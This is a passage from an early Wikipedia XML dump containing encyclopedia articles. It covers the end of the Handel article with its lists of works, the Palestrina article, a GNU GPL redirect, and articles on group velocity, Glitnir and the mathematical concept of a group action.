|align=&quot;right&quot;|[[15 February]] [[1732]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|31
|[[Orlando (Handel)|Orlando]]
|align=&quot;right&quot;|[[27 January]] [[1733]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|32
|[[Arianna (Handel)|Arianna]]
|align=&quot;right&quot;|[[26 January]] [[1734]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|33
|[[Ariodante]]
|align=&quot;right&quot;|[[8 January]] [[1735]]
|[[Royal Opera House|Covent Garden Theatre]], [[London]]
|
|-
|34
|[[Alcina]]
|align=&quot;right&quot;|[[16 April]] [[1735]]
|[[Royal Opera House|Covent Garden Theatre]], [[London]]
|
|-
|35
|[[Atalanta (Handel)|Atalanta]]
|align=&quot;right&quot;|[[12 May]] [[1736]]
|[[Royal Opera House|Covent Garden Theatre]], [[London]]
|
|-
|36
|[[Arminio]]
|align=&quot;right&quot;|[[12 January]] [[1737]]
|[[Royal Opera House|Covent Garden Theatre]], [[London]]
|
|-
|37
|[[Giustino]]
|align=&quot;right&quot;|[[16 February]] [[1737]]
|[[Royal Opera House|Covent Garden Theatre]], [[London]]
|
|-
|38
|[[Berenice]]
|align=&quot;right&quot;|[[18 May]] [[1737]]
|[[Royal Opera House|Covent Garden Theatre]], [[London]]
|
|-
|39
|[[Faramondo]]
|align=&quot;right&quot;|[[3 January]] [[1738]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|40
|[[Serse]]
|align=&quot;right&quot;|[[15 April]] [[1738]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|A 14
|[[Giove in Argo]] ([[Pasticcio (Musik)|Pasticcio]])
|align=&quot;right&quot;|[[1 May]] [[1739]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|
|-
|41
|[[Imeneo]]
|align=&quot;right&quot;|[[22 November]] [[1740]]
|Theatre in [[Lincoln's Inn Fields]], [[London]]
|
|-
|42
|[[Deidamia]]
|align=&quot;right&quot;|[[10 January]] [[1741]]
|Theatre in [[Lincoln's Inn Fields]], [[London]]
|
|}

===Odes and Masques===
{| class=&quot;wikitable&quot; border=&quot;1&quot; 
!bgcolor=ececec|HWV
!bgcolor=ececec|Title
!bgcolor=ececec|Premiere
!bgcolor=ececec|Venue
|-
|49a/b
|[[Acis and Galatea]]
|align=&quot;right&quot;|probably [[1718]]
|[[London]]
|-
|74
|[[Ode for the Birthday of Queen Anne]]
|align=&quot;right&quot;|[[6 February]] [[1713]]
|Royal Palace in [[London]]
|-
|75
|[[Alexander's Feast]]
|align=&quot;right&quot;|[[19 February]] [[1736]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|-
|76
|[[Ode for St. Cecilia's Day]]
|align=&quot;right&quot;|[[22 November]] [[1739]]
|Theatre in [[Lincoln's Inn Fields]], [[London]]
|-
|}

===Oratorios===
{| class=&quot;wikitable&quot; border=&quot;1&quot; 
!bgcolor=ececec|HWV
!bgcolor=ececec|Title
!bgcolor=ececec|Premiere
!bgcolor=ececec|Venue
|-
|46a/b
|[[Il trionfo|Il trionfo del Tempo e del Disinganno/&lt;br&gt;Il trionfo del Tempo e della Verità]]
|align=&quot;right&quot;|June [[1707]]
|[[Rome]]
|-
|47
|[[La Resurrezione]]
|align=&quot;right&quot;|[[8 April]] [[1708]]
|[[Rome]]
|-
|48
|Brockes-Passion
|align=&quot;right&quot;|[[1709]]?
|[[Hamburg]]
|-
|50a/b
|[[Esther (Handel)|Esther]]
|align=&quot;right&quot;|probably [[1718]]
|[[London]]
|-
|51
|[[Deborah (Handel)|Deborah]]
|align=&quot;right&quot;|[[21 February]] [[1733]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|-
|52
|[[Athalia (oratorio)|Athalia]]
|align=&quot;right&quot;|[[10 July]] [[1733]]
|[[Sheldonian Theatre]], [[Oxford]]
|-
|53
|[[Saul (Handel)|Saul]]
|align=&quot;right&quot;|[[16 January]] [[1739]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|-
|54
|[[Israel in Egypt]]
|align=&quot;right&quot;|[[4 April]] [[1739]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|-
|55
|[[L'Allegro, il Penseroso ed il Moderato]]
|align=&quot;right&quot;|[[27 February]] [[1740]]
|Theatre in [[Lincoln's Inn Fields]], [[London]]
|-
|56
|[[Messiah (Handel)|Messiah]]
|align=&quot;right&quot;|[[13 April]] [[1742]]
|New Music Hall, [[Dublin]]
|-
|57
|[[Samson (Handel)|Samson]]
|align=&quot;right&quot;|[[18 February]] [[1743]]
|[[Royal Opera House|Covent Garden Theatre]], [[London]]
|-
|58
|[[Semele (Handel)|Semele]]
|align=&quot;right&quot;|[[10 February]] [[1744]]
|[[Royal Opera House|Covent Garden Theatre]], [[London]]
|-
|59
|[[Joseph and his Brethren]]
|align=&quot;right&quot;|[[2 March]] [[1744]]
|[[Royal Opera House|Covent Garden Theatre]], [[London]]
|-
|60
|[[Hercules (Handel)|Hercules]]
|align=&quot;right&quot;|[[5 January]] [[1745]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|-
|61
|[[Belshazzar (oratorio)|Belshazzar]]
|align=&quot;right&quot;|[[27 March]] [[1745]]
|[[Her Majesty's Theatre|King's Theatre]], [[London]]
|-
|62
|[[Occasional Oratorio]]
|align=&quot;right&quot;|[[14 February]] [[1746]]
|[[Royal Opera House|Covent Garden Theatre]], [[London]]
|-
|63
|[[Judas Maccabaeus (oratorio)|Judas Maccabaeus]]
|align=&quot;right&quot;|[[1 April]] [[1747]]
|[[Royal Opera House|Covent Garden Theatre]], [[London]]
|-
|64
|[[Joshua (Handel)|Joshua]]
|align=&quot;right&quot;|[[9 March]] [[1748]]
|[[Royal Opera House|Covent Garden Theatre]], [[London]]
|-
|65
|[[Alexander Balus]]
|align=&quot;right&quot;|[[23 March]] [[1748]]
|[[Royal Opera House|Covent Garden Theatre]], [[London]]
|-
|66
|[[Susanna (Handel)|Susanna]]
|align=&quot;right&quot;|[[10 February]] [[1749]]
|[[Royal Opera House|Covent Garden Theatre]], [[London]]
|-
|67
|[[Solomon (Handel)|Solomon]]
|align=&quot;right&quot;|[[17 March]] [[1749]]
|[[Royal Opera House|Covent Garden Theatre]], [[London]]
|-
|68
|[[Theodora (Handel)|Theodora]]
|align=&quot;right&quot;|[[16 March]] [[1750]]
|[[Royal Opera House|Covent Garden Theatre]], [[London]]
|-
|69
|[[The Choice of Hercules (oratorio)|The Choice of Hercules]]
|align=&quot;right&quot;|[[1 March]] [[1751]]
|[[Royal Opera House|Covent Garden Theatre]], [[London]]
|-
|70
|[[Jephtha (Handel)|Jephtha]]
|align=&quot;right&quot;|[[26 February]] [[1752]]
|[[Royal Opera House|Covent Garden Theatre]], [[London]]
|-
|71
|[[The Triumph of Time and Truth]]
|align=&quot;right&quot;|[[11 March]] [[1757]]
|[[Royal Opera House|Covent Garden Theatre]], [[London]]
|-
|}

===Instrumental music===
* 6 Organ Concertos op. 4 (HWV 289 – 294)
* 6 Organ Concertos op. 7 (HWV 306 – 311)
* 6 Concerti grossi op. 3 (HWV 312 – 317)
* Concerto grosso in C major &quot;Alexander's Feast&quot; (HWV 318)
* 12 Concerti grosso op. 6 (HWV 319 – 330)
* 3 Concerti a due cori (HWV 332 – 334)
* [[Water Music (Handel)|Water Music]] (HWV 348 – 350)
* [[Fireworks Music|Music for the Royal Fireworks]] (HWV 351)

==Media==
{{multi-listen start}}
{{multi-listen item|filename=Handel - messiah - 04 and the glory of the lord.ogg|title=Handel's Messiah,  And the Glory of the Lord|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Handel - messiah - 12 for unto us a child is born.ogg|title=Handel's Messiah,  For unto us a child is born|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Handel - messiah - 44 hallelujah.ogg|title=Handel's Messiah,  Hallelujah|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Handel_Gigue_HWV433.ogg|title=Gigue - HWV 433|description=|format=[[Ogg]]}}
{{multi-listen end}}

==References==
* Burrows, Donald.  ''Handel.''  Oxford: Oxford University Press, 1994.  ISBN 019816470X.
* Keates, Jonathan.  ''Handel, the man and his music.''  London: V. Gollancz, 1985.  ISBN 0575035730.
* Hogwood, Christopher.  ''Handel.''  London: Thames and Hudson, 1984.  ISBN 0500013551.

==See also==
* [[:Category:Compositions by George Frideric Handel|Compositions by George Frideric Handel]]
* [[:Category:Operas by George Frideric Handel|Operas by Handel]]

===Handel trivia===
For information relating to Handel that most people don't know, see [[Handel trivia]].

==External links==
{{commons|Category:Georg Friedrich Händel}}
* General reference
** [http://www.gfhandel.org/ GFHandel.org], by Brad Leissa and David Vickers - Excellent all-around Handel site.
** [http://www.haendel.it/ Haendel.it] (entire site in Italian)
* Scores
** {{ChoralWiki}}
** [http://www.mutopiaproject.org/cgibin/make-table.cgi?Composer=HandelGF&amp;preview=1 The Mutopia Project] provides free downloading of sheet music and [[MIDI]] files for some of Handel's works.
** {{IckingArchive|idx=Handel|name=George Frideric Handel}}
* Recordings
** [http://cylinders.library.ucsb.edu/search.php?query=Handel+George+Frideric&amp;queryType=%40attr+1%3D1 Handel cylinder recordings], from the [[Cylinder Preservation and Digitization Project]] at the [[University of California, Santa Barbara]] Library.
* Specific topics
** [http://www.handelhouse.org/ Handel House Museum]
** [http://www.haendelhaus.de/ENGLISH/haendelhaus_e.htm Handel House in Halle]
** [http://www.haendelfestspiele.halle.de/en/index.html Handel Festival in Halle] - [[8 June]] to [[18 June]] [[2006]]

[[Category:1685 births|Handel, George Frideric]]
[[Category:1759 deaths|Handel, George Frideric]]
[[Category:Natives of Saxony-Anhalt|Handel, George Frideric]]
[[Category:Pantheists|Handel, George Frideric]]
[[Category:Opera composers|Handel, George Frideric]]
[[Category:German composers|Handel, George Frideric]]
[[Category:English composers|Handel, George Frideric]]
[[Category:English organists|Handel, George Frideric]]
[[Category:Baroque composers|Handel, George Frideric]]

{{Link FA|fr}}

[[ar:جورج فريدريك هاندل]]
[[bg:Георг Фридрих Хендел]]
[[ca:Georg Friedrich Händel]]
[[cs:Georg Friedrich Händel]]
[[cy:George Frideric Handel]]
[[da:Georg Friedrich Händel]]
[[de:Georg Friedrich Händel]]
[[et:Georg Friedrich Händel]]
[[es:Georg Friedrich Händel]]
[[eo:Georg Friedrich HÄNDEL]]
[[fr:Georg Friedrich Haendel]]
[[gl:Georg Friedrich Händel]]
[[ko:게오르크 프리드리히 헨델]]
[[hr:George Friedrich Händel]]
[[id:Georg Friedrich Händel]]
[[it:Georg Friedrich Händel]]
[[he:גאורג פרידריך הנדל]]
[[lt:Georgas Frydrichas Hendelis]]
[[hu:Georg Friedrich Händel]]
[[nl:Georg Friedrich Händel]]
[[ja:ゲオルク・フリードリヒ・ヘンデル]]
[[no:Georg Friedrich Händel]]
[[nn:Georg Friedrich Händel]]
[[pl:Georg Friedrich Händel]]
[[pt:Georg Friedrich Händel]]
[[ro:Georg Friedrich Haendel]]
[[ru:Гендель, Георг Фридрих]]
[[sl:Georg Friedrich Händel]]
[[fi:Georg Friedrich Händel]]
[[sv:Georg Friedrich Händel]]
[[th:จอร์จ เฟรดริก ฮันเดล]]
[[tr:Georg Friedrich Händel]]
[[uk:Гендель Ґеорґ Фридерик]]
[[zh:格奥尔哥·弗里德里希·亨德尔]]</text>
    </revision>
  </page>
  <page>
    <title>Giovanni Pierluigi da Palestrina</title>
    <id>12776</id>
    <revision>
      <id>41606982</id>
      <timestamp>2006-02-28T13:41:57Z</timestamp>
      <contributor>
        <username>El C</username>
        <id>92203</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/66.4.91.57|66.4.91.57]] ([[User talk:66.4.91.57|talk]]) to last version by Antandrus</comment>
      <text xml:space="preserve">'''Giovanni Pierluigi da Palestrina''' (born in [[Palestrina]] (Praeneste) near [[Rome]], [[1525]], latest [[February 1]], [[1526]] &amp;ndash; [[February 2]], [[1594]] in Rome) was an [[Italy|Italian]] [[composer]] of [[Renaissance music]].  He was the most famous [[16th century]] representative of the [[Roman School]] of [[musical composition]]. Palestrina had a tremendous influence on the development of [[Roman Catholic]] [[church music]], and his work can be seen as a summation of Renaissance [[polyphony]]. 

[[image:palestrina.jpg|thumb|175px|Giovanni Pierluigi da Palestrina]]

==Life==

Palestrina spent most of his career in Rome.  Documents suggest he first visited the Eternal City in [[1537]], when he is listed as a chorister at Santa Maria Maggiore.  He studied with [[Robin Mallapert]] and [[Firmin Lebel]].  (There was a persistent story that Palestrina studied under [[Claude Goudimel]]; the story originated in the [[19th century]], but according to recent study Goudimel was never in Rome.) In [[1544]]-[[1551|51]] Palestrina was organist of the principal church of his native city (St. Agapito, Palestrina), and in the latter year became ''maestro di cappella'' at the Julian Chapel ([[Cappella Giulia]]) in Rome.  With his first published compositions, a book of [[mass (music)|masses]] which he presented to [[Pope Julius III]] (previously the Bishop of Palestrina), he made so favorable an impression that he was appointed musical director of the Julian Chapel.  In addition, this was the first book of masses by a native Italian composer:  most composers of sacred music in Italy at that time were from the Netherlands, France or Spain.  In fact his book of masses was actually modeled on one by [[Cristóbal de Morales|Morales]], and the woodcut in the front is an almost exact copy of the one from the book by the Spaniard.  

Palestrina held positions similar to his Julian Chapel appointment at other chapels and churches in Rome during the next decade (notably St. John Lateran, from [[1555]] to [[1560]], and St. Maria Maggiore, from [[1561]] to [[1566]]).  In [[1571]] he returned to the Julian Chapel, and remained at [[St. Peter's Basilica|St. Peter's]] for the rest of his life.  The decade of the [[1570s]] was difficult for him personally; he lost his brother, both his sons, and his wife in three separate outbreaks of the plague ([[1572]], [[1575]] and [[1580]] respectively).  He seems to have considered becoming a priest at this time, but instead he married again, this time to a wealthy widow; this finally gave him financial independence (he was not well paid as choirmaster) and he was able to compose prolifically until his death.

==Music and reputation==

Palestrina left hundreds of compositions, including 104 [[mass (music)|masses]], 68 [[offertory|offertories]], 250 [[motet|motets]], 45 [[hymn|hymns]], [[psalm|psalms]], 33 [[magnificat|magnificats]], [[litany|litanies]], 4 or 5 sets of [[Lamentations (music)|lamentations]]  etc., at least 140 [[Madrigal (music)|madrigals]] and 9 organ ''ricercari'' (however, recent scholarship has classed these ''ricercari'' as of doubtful authorship; Palestrina probably wrote no purely instrumental music). His ''Missa sine nomine'' seems to have been particularly attractive to [[Johann Sebastian Bach]], who studied and performed it while he was writing his own masterpiece, the [[B Minor Mass (Bach)|Mass in B Minor]]. His compositions are typified as very clear, with voice parts well-balanced and beautifully harmonized. Among the works counted as his masterpieces is the ''[[Missa Papae Marcelli]]'' (Pope Marcellus Mass), which according to legend was composed to persuade the [[Council of Trent]] that a draconian ban on [[polyphony|polyphonic]] treatment of text in sacred music was unnecessary.  However, more recent scholarship shows that this mass was composed before the cardinals convened to discuss the ban (possibly as much as ten years before).  It is probable, however, that Palestrina was quite conscious of the needs of intelligible text in conformity with the doctrine of the [[Counter-Reformation]], and wrote his works towards this end from the 1560s until the end of his life.

The &quot;Palestrina Style&quot;&amp;mdash;the smooth style of 16th century [[polyphony]], derived and codified by [[Johann Fux|Johann Joseph Fux]] from a careful study of his works&amp;mdash;is the style usually taught as &quot;Renaissance polyphony&quot; in college [[counterpoint]] classes, although in a modified form, as Fux made a number of stylistic errors which have been corrected by later authors (notably Jeppesen and Morris).  As codified by Fux it follows the rules of what he defined as &quot;species counterpoint.&quot;  No composer of the 16th century was more consistent in following his own rules, and staying within the stylistic bounds he imposed on himself, than was Palestrina.  Also, no composer of the 16th century has had such an edifice of myth and legend built around him.  Much of the research on Palestrina was done in the [[19th century]] by [[Giuseppe Baini]], who published a monograph in 1828 which made Palestrina famous again, and reinforced the already existing legend that he was the &quot;Saviour of Church Music&quot; during the reforms of the [[Council of Trent]].  The 19th century attitude of hero-worship is predominant in this monograph, however, and this has remained with the composer to some degree to the present day; [[Hans Pfitzner|Hans Pfitzner's]] opera ''Palestrina'' shows this attitude at its peak.  Scholarship of the 20th and 21st centuries tends to retain the view that Palestrina was a strong and refined composer, representing a summit of technical perfection, but emphasizes that there were other composers working at the same time with equally individual voices and slightly different styles, even within the confines of smooth polyphony, such as [[Orlando di Lasso|Lassus]] and [[Tomas Luis de Victoria|Victoria]].

Palestrina was immensely famous in his day, and his reputation, if anything, increased following his death.  Conservative music of the Roman School continued to be written in his style (known as the &quot;prima prattica&quot; in the 17th century), for instance by [[Gregorio Allegri]]. Palestrina's music continues to be performed and recorded, and provides models for the study of counterpoint.

==External links==
*{{ChoralWiki}}
*{{IckingArchive|idx=Palestrina|name=Giovanni Pierluigi da Palestrina}}

==Sources and further reading==

* Article &quot;Palestrina, Giovanni Pierluigi da&quot; in &lt;I&gt;The New Grove Dictionary of Music and Musicians&lt;/I&gt;, ed. Stanley Sadie.  20 vol.  London, Macmillan Publishers Ltd., 1980.  ISBN 1561591742
* Benjamin, Thomas, &lt;I&gt;The Craft of Modal Counterpoint&lt;/I&gt;, 2nd ed. Routledge, New York, 2005. ISBN 0-415-97172-1 (direct approach)
* Coates, Henry, &lt;I&gt;Palestrina&lt;/I&gt;. J. M. Dent &amp; Sons, London, 1938. (An early entry in the &lt;I&gt;Master Musicians&lt;/I&gt; series, and, like other books in that series, combines biographical data with musicological commentary.)
* Fux, Johann Joseph, &lt;I&gt;The Study of Counterpoint (Gradus ad Parnassum)&lt;/I&gt;.  Tr.  Alfred Mann.   W.W. Norton &amp; Co., New York, 1965.  ISBN 0393002772
* Gauldin, Robert, &lt;I&gt;A Practical Approach to Sixteenth-Century Counterpoint&lt;/I&gt;. Waveland Press, Inc., Long Grove, Illinois, 1995. ISBN 0-88133-852-4 (direct approach, no species; contains a large and detailed bibliography)
* Haigh, Andrew C. &quot;Modal Harmony in the Music of Palestrina&quot;, in the [[festschrift]] &lt;I&gt;Essays on Music: In Honor of Archibald Thompson Davison&lt;/I&gt;'. Harvard University Press, 1957. pp.111-120.
* [[Knud Jeppesen|Jeppesen, Knud]], &lt;I&gt;The Style of Palestrina and the Dissonance&lt;/I&gt;. 2nd ed., London, 1946. (An exhaustive study of his contrapuntal technique.)
* Jeppesen, Knud; Haydon, Glen (Translator); Foreword by Mann, Alfred. &lt;I&gt;Counterpoint&lt;/I&gt;. New York, 1939.  Available through Dover Publications, 1992.  ISBN 048627036X
* Morris, R.O., &lt;I&gt;Contrapuntal Technique in the Sixteenth Century&lt;/I&gt;.  Oxford University Press, 1978. ISBN 0-19-321468-7 (out of print; one of the first attempts at &quot;direct approach&quot;, meaning Morris does away with Fux' five species).
* Motte, Diether de la, &lt;I&gt;'Kontrapunkt&lt;/I&gt;'. 1981 Bärenreiter-Verlag, Kassel. ISBN 3-423-30146-5 / 3-7618-4371-2 (this text is in German; great, though!)
* Pyne, Zoe Kendrick, &lt;I&gt;Giovanni Pierluigi di Palestrina: His Life and Times&lt;/I&gt;, Bodley Head, London, 1922.
* [[Gustave Reese]], &lt;I&gt;Music in the Renaissance&lt;/I&gt;.  W.W. Norton &amp; Co., New York, 1954.  ISBN 0393095304
* Roche, Jerome, &lt;I&gt;Palestrina&lt;/I&gt;. Oxford University Press, 1970. ISBN 0-193-14117-5
* Stove, R. J., &lt;I&gt;Prince of Music: Palestrina and His World&lt;/I&gt;, Quakers Hill Press, Sydney, 1990. ISBN 0-7316-8792-2 (biographical rather than musicological in nature; is wholly devoid of staff-notation extracts; but corrects some errors found in Z. K. Pyne and elsewhere).
* Swindale, Owen, &lt;I&gt;Polyphonic Composition&lt;/I&gt;, Oxford University Press, 1962. (Out of print, no ISBN available.)


[[Category:Renaissance composers|Palestrina, Giovanni da]]
[[Category:Natives of the Lazio|Palestrina, Giovanni da]]
[[Category:1525 births|Palestrina, Giovanni da]]
[[Category:1594 deaths|Palestrina, Giovanni da]]
[[Category:Italian composers|Palestrina, Giovanni da]]
[[Category:Roman school composers|Palestrina, Giovanni da]]

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  <page>
    <title>GNU GPL</title>
    <id>12777</id>
    <revision>
      <id>15910435</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[GNU General Public License]]
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  </page>
  <page>
    <title>Group velocity</title>
    <id>12778</id>
    <revision>
      <id>40147715</id>
      <timestamp>2006-02-18T14:27:52Z</timestamp>
      <contributor>
        <ip>148.60.21.219</ip>
      </contributor>
      <text xml:space="preserve">The '''group velocity''' of a [[wave]] is the [[velocity]] with which the variations in the shape of the wave's amplitude (known as the '''modulation''' or '''envelope''' of the wave) propagates through space. The group velocity is defined by the equation:

:&lt;math&gt;v_g \equiv \frac{\partial \omega}{\partial k}&lt;/math&gt;

where:
:''v&lt;sub&gt;g&lt;/sub&gt;'' is the group velocity
:''&amp;omega;'' is the wave's [[angular frequency]]
:''k'' is the [[Wavenumber|wave number]]

The group velocity is often thought of as the velocity at which [[energy]] or [[information]] is conveyed along a wave. In most cases this is accurate, and the group velocity can be thought of as the [[signal velocity]] of the [[wave|waveform]]. However, if the wave is travelling through an absorptive medium, this does not always hold. For example, it is possible to design experiments where the group velocity of [[laser]] light pulses sent through specially prepared materials significantly exceeds the [[speed of light]] in vacuum (though [[superluminal communication]] is not possible, since the signal velocity remains less than the speed of light). It is also possible to reduce the group velocity to zero, stopping the pulse.

The [[function (mathematics)|function]] ''&amp;omega;''(''k''), which gives ''&amp;omega;'' as a function of ''k'', is known as the '''dispersion relation'''. If ''&amp;omega;'' is [[Proportionality (mathematics)|directly proportional]] to ''k'', then the group velocity is exactly equal to the [[phase velocity]]. Otherwise, the envelope of the wave will become distorted as it propagates. This &quot;group velocity dispersion&quot; is an important effect in the propagation of signals through [[optical fiber]]s and in the design of short pulse lasers. 

The idea of a group velocity distinct from a wave's phase velocity was first proposed by [[William Rowan Hamilton|W.R. Hamilton]] in [[1839]], and the first full treatment was by [[John Strutt, 3rd Baron Rayleigh|Rayleigh]] in his &quot;Theory of Sound&quot; in [[1877]].

==See also==
*[[Dispersion (optics)]] for a full discussion of wave velocities
*[[Slow light]]

==References==
*Brillouin, Léon. ''Wave Propagation and Group Velocity''. Academic Press Inc., New York (1960).

==External links==

* [[Greg Egan]] has an excellent Java applet on [http://gregegan.customer.netspace.net.au/APPLETS/20/20.html his web site] that illustrates the apparent difference in group velocity from [[phase velocity]].

[[Category:Radio frequency propagation]]
[[Category:Optics]]
[[Category:Wave mechanics]]
[[Category:Physical quantity]]

[[de:Gruppengeschwindigkeit]]
[[ja:&amp;#32676;&amp;#36895;&amp;#24230;]]&lt;!-- [[ja:&amp;#32676;&amp;#36895;&amp;#24230;]] --&gt;
[[sl:skupinska hitrost]]
[[vi:Vận tốc nhóm]]</text>
    </revision>
  </page>
  <page>
    <title>Glitnir</title>
    <id>12780</id>
    <revision>
      <id>28304784</id>
      <timestamp>2005-11-14T15:22:04Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: no</comment>
      <text xml:space="preserve">'''Glitnir''' (&quot;shining&quot;) is the home of [[Forseti]], the [[Norse Mythology|Norse]] god of justice, and the seat of justice amongst the [[Æsir]]. Glitnir is symbolic of the importance of discussion rather than violence as a means of resolution of conflict within the Norse tradition.  It has a [[silver]] roof and red pillars.

{{Euro-myth-stub}}

[[Category:Locations in Norse mythology]]

[[da:Glitner]]
[[no:Glitne]]
[[sv:Glitne]]</text>
    </revision>
  </page>
  <page>
    <title>Group action</title>
    <id>12781</id>
    <revision>
      <id>39212818</id>
      <timestamp>2006-02-11T15:23:48Z</timestamp>
      <contributor>
        <ip>140.180.136.136</ip>
      </contributor>
      <comment>/* Orbits and stabilizers */</comment>
      <text xml:space="preserve">:''This article is about the mathematical concept. For the sociology term, see [[group action (sociology)]].''

In [[mathematics]], a [[symmetry group]] describes all [[symmetry|symmetries]] of objects. This is formalized by the notion of a '''group action''': every element of the [[group (mathematics)|group]] &quot;acts&quot; like a [[bijective]] map (or &quot;symmetry&quot;) on some set. In this case, the group is also called a '''[[permutation group]]''' (especially if the set is finite or not a vector space) or '''transformation group''' (especially if the set is a [[vector space]] and the group acts like [[linear transformation]]s of the set). A '''permutation representation''' of a group ''G'' is a representation of ''G'' as a group of [[permutation]]s of the set (usually if the set is finite), and may be described as a [[group representation]] of ''G'' by [[permutation matrix|permutation matrices]], and is usually considered in the finite-dimensional case&amp;mdash;it is the same as a group action of ''G'' on an ''ordered'' [[basis of a vector space]].

== Definition ==

If &lt;math&gt;\mathrm{G}&lt;/math&gt; is a [[group (mathematics)|group]] and &lt;math&gt;\mathrm{X}&lt;/math&gt; is a [[set]], then a (left) '''group action''' of &lt;math&gt;\mathrm{G}&lt;/math&gt; on &lt;math&gt;\mathrm{X}&lt;/math&gt; is a [[binary function]] &lt;math&gt;\cdot : \mathrm{G} \times \mathrm{X} \rightarrow \mathrm{X}&lt;/math&gt; (where the image of &lt;math&gt;g \in \mathrm{G}&lt;/math&gt; and &lt;math&gt;x \in \mathrm{X}&lt;/math&gt; is written as &lt;math&gt;g \cdot x&lt;/math&gt;) which satisfies the following two axioms:

# &lt;math&gt;g \cdot (h \cdot x) = (g h) \cdot x&lt;/math&gt; for all &lt;math&gt;g, h \in \mathrm{G}&lt;/math&gt; and &lt;math&gt;x \in \mathrm{X}&lt;/math&gt;
# &lt;math&gt;e \cdot x = x&lt;/math&gt; for every &lt;math&gt;x \in \mathrm{X}&lt;/math&gt; (&lt;math&gt;e&lt;/math&gt; denotes the [[identity element]] of &lt;math&gt;\mathrm{G}&lt;/math&gt;)

From these two axioms, it follows that for every &lt;math&gt;g \in \mathrm{G}&lt;/math&gt;, the function which maps &lt;math&gt;x \in \mathrm{X}&lt;/math&gt; to &lt;math&gt;g \cdot x&lt;/math&gt; is a [[bijective function|bijective map]] from &lt;math&gt;\mathrm{X}&lt;/math&gt; to &lt;math&gt;\mathrm{X}&lt;/math&gt;. Therefore, one may alternatively and equivalently define a group action of &lt;math&gt;\mathrm{G}&lt;/math&gt; on &lt;math&gt;\mathrm{X}&lt;/math&gt; as a [[group homomorphism]] &lt;math&gt;\mathrm{G} \rightarrow \mathcal{X}&lt;/math&gt;, where &lt;math&gt;\mathcal{X}&lt;/math&gt; denotes the group of all bijective maps from &lt;math&gt;\mathrm{X}&lt;/math&gt; to &lt;math&gt;\mathrm{X}&lt;/math&gt;.

If a group action &lt;math&gt;\mathrm{G} \times \mathrm{X} \rightarrow \mathrm{X}&lt;/math&gt; is given, we also say that ''G acts on the set X'' or ''X'' is a '''''G''-set'''.

In complete analogy, one can define a '''right group action''' of ''G'' on ''X'' as a function &lt;math&gt;g : \mathrm{X} \times \mathrm{G} \rightarrow \mathrm{X}&lt;/math&gt; by the two axioms:
# &lt;math&gt;(x \cdot g) \cdot h = x \cdot (g h)&lt;/math&gt;
# &lt;math&gt;x \cdot e = x&lt;/math&gt;
Note that the difference between left and right actions is only in the order in which a product like ''gh'' acts on ''x''. For left actions ''h'' acts first followed by ''g'', while for right actions ''g'' acts first followed by ''h''. From a right action a left action can be constructed by composing with the inverse operation on the group. If ''r'' is a right action, then
:&lt;math&gt;l : G \times M \to M : (g, m) \mapsto r(m, g^{-1})&lt;/math&gt;
is a left action, since
:&lt;math&gt;l(gh, m) = r(m, (gh)^{-1}) = r(m, h^{-1}), g^{-1}) = r(r(m, h^{-1}), g^{-1}) = r(l(h, m), g^{-1}) = l(g, l(h, m)).\,&lt;/math&gt;
Therefore in the sequel, we consider only left group actions, since right actions add nothing.

== Examples ==

* Every group ''G'' acts on ''G'' in two natural but essentially different ways:  ''g''&amp;middot;''x'' = ''gx'' for all ''x'' in ''G'', or ''g''&amp;middot;''x'' = ''gxg''&lt;sup&gt;&amp;minus;1&lt;/sup&gt; for all ''x'' in ''G''.
* The [[symmetric group]] S&lt;sub&gt;''n''&lt;/sub&gt; and its [[subgroup | subgroups]] act on the set {&amp;nbsp;1,&amp;nbsp;...&amp;nbsp;,&amp;nbsp;''n''&amp;nbsp;} by permuting its elements.
* The [[symmetry group]] of a [[polyhedron]] acts on the set of vertices of that polyhedron.
* The symmetry group of any geometrical object acts on the set of points of that object: for example, [http://log24.com/theory/plane.html the eightfold cube] and [http://diamondtheorem.com the diamond theorem].
* The [[automorphism group]] of a [[vector space]] (or [[graph theory|graph]], or group, or [[ring (algebra)|ring]]...) acts on the vector space (or set of [[vertex|vertices]] of the graph, or group, or ring...). 
* The  [[general linear group]] GL(''n'','''R'''), [[special linear group]] SL(''n'','''R'''), [[orthogonal group]] O(''n'','''R'''), and special orthogonal group SO(''n'','''R''') are [[Lie group]]s which act on '''R'''&lt;sup&gt;''n''&lt;/sup&gt;.
* The [[Galois group]] of a [[field extension]] ''E''/''F'' acts on the bigger field ''E''. So does every subgroup of the Galois group. 
* The additive group of the [[real number|real numbers]] ('''R''', +) acts on the [[phase space]] of &quot;[[well-behaved]]&quot; systems in [[classical mechanics]] (and in more general [[dynamical systems]]): if ''t'' is in '''R''' and ''x'' is in the phase space, then ''x'' describes a state of the system, and ''t''.''x'' is defined to be the state of the system ''t'' seconds later if ''t'' is positive or ''-t'' seconds ago if ''t'' is negative.
*The additive group of the real numbers ('''R''', +) acts on the set of real functions of a real variable with ''(g &amp;middot; f)''(''x'') equal to e.g. ''f''(''x''+''g''), ''f''(''x'') + ''g'', &lt;math&gt;f(x e^g)&lt;/math&gt;, &lt;math&gt;f(x) e^g&lt;/math&gt;, &lt;math&gt;f(x+g) e^g&lt;/math&gt;, or &lt;math&gt;f(x e^g)+g&lt;/math&gt;, but not &lt;math&gt;f(x e^g+g)&lt;/math&gt;
